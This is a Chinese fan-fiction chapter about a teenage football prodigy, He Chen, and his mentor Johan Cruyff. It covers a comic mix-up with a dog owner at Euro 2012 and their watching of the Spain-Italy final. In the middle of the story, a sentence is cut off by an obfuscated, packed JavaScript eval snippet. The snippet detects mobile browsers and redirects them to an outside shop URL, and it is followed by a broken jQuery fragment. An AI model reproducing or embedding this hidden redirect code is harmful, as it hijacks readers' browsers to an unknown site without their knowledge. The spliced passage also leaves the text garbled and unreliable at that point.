2012年的欧洲杯由波兰、乌克兰两国联合举办。
1/4决赛在顿涅茨克顿巴斯竞技场举行，西班牙对阵葡萄牙。一百二十分钟的鏖战，双方零比零打平，比赛进入点球大战——西班牙以四比二的成绩晋级决赛。
比赛结束，观众如潮水般涌出球场。
乌克兰的夏天不算闷热，风中有煤灰的气息，贺辰低着头，贴着道边的栏杆慢悠悠往酒店走，在脑袋里推演比赛。
这是他看球的习惯，或者说，克鲁伊夫强迫他养成的看球的习惯。
哈维直塞的时机……如果伊涅斯塔选择内切，葡萄牙的防线会向左/倾斜，然后……
他的余光看到一团白色的、毛茸茸的东西，以不可思议的速度冲向自己，看着像棉花糖，其实是一只过分热情的萨摩耶。它张着嘴巴，吐着粉红的舌头，尾巴摇成螺旋桨，每一根毛发都在表达喜悦。
贺辰的大脑宕机了。
在他眼里，这是一颗时速未知的白色炮弹。
身体比大脑先做出反应，等贺辰回过神来的时候，自己已经挂在栏杆上了。萨摩耶在下面转圈，兴奋的汪汪叫，而贺辰面无表情看着它，心里把狗主人祖宗十八代骂了个底儿掉。
“兄弟！等等！别跳！”
声音越来越近，伴随着一阵急促的脚步声。一股力量撞过来，贺辰来不及躲闪，失去平衡，栏杆从腰间滑出。
接下来的事就有些混乱了。
他被人从死亡的边缘“摘”下来，两个人一起摔在地上，他的后脑勺磕到那个人的下巴，而那个人的膝盖顶到了他的腰。贺辰眼冒金星，发现自己动弹不得，两条手臂分别箍着他的肩膀和腰，好像要把他的骨头勒碎。
“你放开我。”贺辰的声音很平静。
“你先答应我不寻短见！！”那个人的声音带着劫后余生的颤抖，“你还年轻，还有大把时间，别想不开！”
贺辰尝试挣脱，没挣开。那个人力气大得离谱，吃铁长大的似的，他费了九牛二虎之力，终于拔出来一条胳膊。
然后，他瞄准那个人的脸，毫不留情地扇了一巴掌。
力气不大，但声音很清脆。
挨打的人愣住了，贺辰趁机和他拉开距离，默默观察他：十七八岁左右，比自己高一个多头，壮两圈不止，眉骨很高，棱角分明的脸，十分不好惹。可少年捂着脸，嘴巴微微张开，迷茫中夹杂着愤懑。
几秒后，他猛地跳起来，指着贺辰嚷嚷道：“你、你恩将仇报？！”
“你差点把我推下去。”贺辰陈述事实，气的每个字都在颤抖。
“我是想救你！我以为你要——”
“我TM害怕狗。”
贺辰看看萨摩耶，这团大棉花糖蔫头耷脑，又看看少年，从他的脸上看到了心虚和窘迫。
“这是你的狗？你遛狗居然不栓绳？！”
少年从萨摩耶的长毛里提起半截绳子，剩下的绳子在另一只手里，无论人还是狗都眨巴着下垂眼，无辜地看着他。
贺辰绝望地闭上眼睛。
他走后，少年郁闷地坐在原地。萨摩耶挨着小主人坐下，先拿脑袋蹭他，再用湿漉漉的鼻子拱他的手，终于换得少年的拥抱。
少年搂着小狗的头狠狠揉，在小狗耳边小声问：“小白，你也觉得我蠢是不是？”
萨摩耶犹豫了一下，点头。
“小白，你是一只很坏很坏的小狗！！”
7月1日，基辅奥林匹克体育场。
贺辰找到座位的瞬间，整个人僵住了。
邻座坐着一位六十余岁的老人，头发花白，眼睛是不含一丝杂质的蓝。这是克鲁伊夫回到阿贾克斯后，他们的第一次非正式见面。
克鲁伊夫翻着秩序册，贺辰则像雕像一样杵着，消化被老师和监护人联手摆了一道的事实。
果然，天下没有免费的欧洲杯看。
他一屁股坐下，把背包重重地撂在膝盖上，双手交叉抱在胸前，下巴微微扬起，像一只被踩了尾巴的猫。
“你来了。”
“嗯。”贺辰的眼睛直勾勾盯着草坪，似乎那里有什么东西需要他特别关注。
“这几天还顺利吧？”
“……还行。”想到前几天的事，贺辰不免有些头疼。
沉默像一堵墙横亘在两人之间。
贺辰烦躁得很，自己安慰自己比赛快开始了，半场休息可以出去走走，很好熬的。
在他旁边，克鲁伊夫看完秩序册，合起来，放在膝盖上；他的动作很慢，像故意消耗时间。然后，他看向贺辰，平静地注视着少年的侧脸。
“你在跟我闹脾气。”他说。
贺辰干巴巴地回答：“没有。”
“有。”克鲁伊夫的声音不大，却清晰、有力量，“我走你闹，我回来你也闹——你在想什么？”
贺辰沉默很久，才从牙缝里挤出来一大段话：“你在做无用功。阿贾克斯抛弃过你，巴塞罗那也抛弃过你。你走的时候他们嘲笑你，把你当成一个过时的老顽固，等他们遇到‘困难’了，不用其他人，你自己就把自己攻略了。约翰，你就——”
他的声音发紧，好像有什么东西堵在喉咙里，可他还是把剩下的字一个一个挤了出来：“你就这么不值钱吗。”
说完，贺辰咬住下嘴唇，微微发抖。
“比赛开始了。”克鲁伊夫说。
贺辰猛地转头看他，满脸不可思议，用表情代替语言：我刚刚说了那么多你就跟我说这个？！
克鲁伊夫没有看他。
“看比赛，看完再说。”
比赛开始，西班牙队就亮出了他们的獠牙。哈维在中圈附近接球，伊涅斯塔从左侧切入，法布雷加斯回撤接应，大卫·席尔瓦在右路游弋——他们织出一张网，等待意大利队靠近，网住，然后溶解。
“意大利的防线很深。”贺辰说。
顷刻间，他从愤怒的少年变成专注的球员，把一切过滤掉，只剩下球场上的二十二人和滚动的足球。
“皮尔洛被盯死了。”贺辰继续说，“西班牙用三个人围他，哈维靠前、布斯克茨拖后、阿隆索补位，确保皮尔洛每次拿球都有一层人堵他。”
“意大利的进攻从哪里走？”
“右路。”贺辰没有丝毫犹豫，“基耶利尼受伤，巴尔扎利顶上，但巴尔扎利不是正经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732473|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
左后卫——西班牙会打这个点。”
第14分钟，法布雷加斯右路下底传中，大卫·席尔瓦从后插上，头球攻门。
1:0。
贺辰不急于庆祝。
少年转动眼珠，默不作声地观察克鲁伊夫，他的表情没有变化，但手指在膝盖上轻轻敲了两下，这是他满意的信号。
贺辰翘起嘴角。
第41分钟，哈维中场断球，一脚直塞打穿了意大利的整条防线。法布雷加斯接球后没有射门，而是横传，球从门将和后卫之间的缝隙中穿过，精准落在左路插上的阿尔巴脚下。
阿尔巴推射空门。
2：0。
“那个横传。”克鲁伊夫终于开口了。
贺辰知道他要说什么：“法布雷加斯没有看阿尔巴，因为他知道阿尔巴会从左边插上。他在接球的那一刻就决定好了。”
克鲁伊夫没有反应，可贺辰知道他是满意的。
“我知道我应该被挂在墙上供人瞻仰；我知道他们面对我说‘约翰您是最伟大的’，背着我说‘克鲁伊夫那一套已经过时了’。这些我都知道。”他的声音异常平静，好像在讲一件跟自己无关的事，“可是，如果因为害怕失败就不去做值得做的事，这个世界就没有人做任何事了。”
贺辰张了张嘴，没有说话。
下半场，第61分钟，莫塔替补上场，四分钟后因大腿拉伤被担架抬下。意大利十人应战，而西班牙开始不紧不慢地倒脚，不是拖延时间，而是在用传球消耗掉意大利的最后一点斗志。
贺辰看着球场上奔跑的西班牙球员，眼睛里闪烁着难以描述的光芒。
第84分钟，哈维中场挑传，托雷斯反越位成功，单刀推射远角。
3：0。
第88分钟，马塔禁区内接托雷斯横传，推射空门。
4：0！
终场哨响。
西班牙队创造了历史！！
他们是第一支在欧洲杯卫冕的球队，也是第一支连续夺得欧洲杯和世界杯的球队！
贺辰唰的一下站起来，克鲁伊夫仰头看向他。
少年开始抽条，看起来更加瘦削，短发发梢向外翘，像一只发现苹果的小刺猬。他和周围的西班牙球迷一起欢呼庆祝，眼睛亮亮的，往日的内敛、克制被灿烂的笑容取代，如同阳光洒满房间。
“你是西班牙的球迷？”
少年显然会错了意，大声说：“不，约翰，我是你的球迷。”
克鲁伊夫怀疑他站起来的时候把脑子落下了。
几家欢喜几家愁，西班牙球迷的欢呼快要掀翻体育场，对面看台的意大利球迷则愁云惨淡。
西西里岛少年精神萎靡，深色卷发蓬松而凌乱，有海风常年吹拂的痕迹。他撑着椅背，快要贴在前面少年的身上，不明白同为意大利球迷，秦昶怎么端着相机咧着嘴笑。
“秦，你到底在干什么？再笑下去他们该揍我们了！”
“别闹，祖卡拉。”秦昶不耐烦地说。
祖卡拉凑近，取景器里，一位过分漂亮的少年——哪怕最无趣的白色短袖也影响不了他的美貌，正高举手臂，和其他人一起欢呼。